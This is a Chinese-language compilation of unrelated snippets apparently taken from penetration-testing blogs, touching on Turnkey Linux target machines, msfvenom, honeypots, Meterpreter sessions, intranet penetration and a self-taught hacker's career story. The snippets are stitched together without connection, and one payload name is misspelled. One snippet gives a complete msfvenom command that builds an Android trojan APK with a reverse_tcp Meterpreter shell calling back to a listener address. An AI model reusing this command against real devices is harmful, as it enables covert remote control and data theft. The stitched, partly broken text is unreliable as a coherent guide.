在众多收集测试应用程序中，我尝试了Turnkey Linux ，学习体验比较好。在官网里可以看到列出了许多程序，我们可以通过下载不同的靶机来尝试测试不同的应用程序，现在接触的WordPress程序比较多，我就下载一个WordPress 来学习测试。
msfvenom a Metasploit standalone payload generator，Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的安全防护能力。
课前声明:1、本分享仅做学习交流，2、搜索:Kali与编程，学习更多网络攻防干货!在kali中生成一个安卓木马，在终端输入命令:msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.0.102 lport=4444 R>/root/shell.apk。
一般来说，我们在生成payload后利用生成的payload成功地拿下目标主机后，在Metasploi命令行界面成功连接到目标主机session后，常常会因为进程连接不稳定而导致进程频频断开或者连接不稳定的现象出现，非常不利于我们正常的进行渗透测试，那么针对这种现象有没有什么好的办法去解决他呢?安装好 Kali Linux 的虚拟机一台;PS:PID操作系统里指进程识别号，也就是进程标识符。
需要知道，在渗透的整个流程中，根据web应用或者开放的端口进行渗透，获取webshell只是渗透这门艺术的一小部分，在真实的错综复杂的企业环境中进行内网渗透，其实水很深，涉及内网穿透，端口转发，域渗透，提权等一系列的难题。
写在开篇笔者本人 17 年就读于一所普通的本科学校，20 年 6 月在三年经验的时候顺利通过校招实习面试进入大厂，现就职于某大厂安全实验室。我为啥说自学黑客，一般人我还是劝你算了吧。因为我就是那个不一般的人。首先我谈下对黑客&网络安全的认知，其实最重要的是兴趣热爱。
